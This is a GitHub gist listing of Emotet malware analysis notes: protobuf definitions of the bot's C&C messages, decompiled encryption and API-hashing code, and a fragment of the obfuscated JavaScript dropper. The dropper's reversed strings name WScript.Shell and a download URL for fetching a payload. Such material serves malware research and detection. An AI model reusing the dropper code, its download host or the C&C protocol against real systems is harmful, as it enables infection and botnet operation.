Skip to content

Instantly share code, notes, and snippets.

View psrok1's full-sized avatar
🦆

Paweł Srokosz psrok1

🦆
View GitHub Profile
@psrok1
psrok1 / emotet.spamresp.proto
Created May 19, 2017 12:55
Emotet spam response
message EmailAccount {
required int32 id = 1;
required string mail_server = 2;
required int32 port = 3;
required string login = 4;
required string password = 5;
required string email = 6;
}
message EmailRecipient {
message SpamRequest {
message SpamRequestBody {
required string botId = 1;
required int32 flags = 2 [default = 3];
required string additionalData = 3;
}
required int32 command = 1 [default = 18];
optional SpamRequestBody spamRequest = 2;
}
message Module
{
required int32 type = 1;
required bytes blob = 2;
}
message ModuleResponse {
repeated Module modules = 1 [packed=true];
required uint32 timestamp = 2;
}
@psrok1
psrok1 / emotet.registrationreq.proto
Created May 19, 2017 12:26
Emotet registration request
syntax = "proto2";
message RegistrationRequest {
message RegistrationRequestBody {
required string botId = 1;
required fixed32 osVersion = 2;
required string procList = 3;
required string mailClient = 4;
}
if ( !fn_CryptDuplicateHash(cryptCtx->hCryptSHA1, 0, 0, &hHash) )
goto ERROR;
memmove(pRequest, req->bufPtr, req->bufLen);
if ( fn_CryptEncrypt(cryptCtx->hCryptAES, hHash, 1, 0, pRequest, &dwRequestLen, dwBufLen) )
{
if ( fn_CryptExportKey(cryptCtx->hCryptAES, cryptCtx->hCryptRSA, 1, CRYPT_OAEP, encKey, &encKeyLen) )
{
memmove(encReq, encKey, 96)
if ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, &shaLen, 0) )
result = 1;
@psrok1
psrok1 / emotet.cnckeygen.c
Created May 19, 2017 12:14
Emotet C&C key generation
if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) )
{
if ( fn_CryptDecodeObjectEx(
65537,
RSA_CSP_PUBLICKEYBLOB,
RSA_ENCODED,
RSA_ENCODED_LEN,
CRYPT_DECODE_ALLOC_FLAG,
0,
&prsaKey,
@psrok1
psrok1 / x65599.c
Created May 19, 2017 12:08
Emotet x65599 hash routine
int hashValue = 0;
for ( char c = *libraryName; *libraryName; c = *(++libraryName) )
{
hashValue = c + 65599 * hashValue;
}
hashValue = xorKey ^ hashValue;
@psrok1
psrok1 / emotet.dropper.part.js
Created May 19, 2017 12:06
Part of Emotet v4 dropper
$uaU$Fh71K_E6TQAdMPz = function(n) {
if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == "string") return $uaU$Fh71K_E6TQAdMPz.list[n].split("").reverse().join("");
return $uaU$Fh71K_E6TQAdMPz.list[n];
};
$uaU$Fh71K_E6TQAdMPz.list = [
"tamroF eliF detroppuS toN",
"llehS.tpircSW",
"tcejbOmetsySeliF.gnitpircS",
"/1506daolnwod/ku.oc.aidemlaerehte//:ptth",
import time
times = []
# for N=10**4 works very well, for 10**6 terminates with segfault
N = 10**6
for i in range(100):
start = time.time()
s = ""
@echo off
setlocal ENABLEDELAYEDEXPANSION
set copyright=Pawel Srokosz [psrok1] ^(C^) 2012
set maxx=70
set maxy=20
mode con:lines=30
goto main
:initvga
set vgaclear=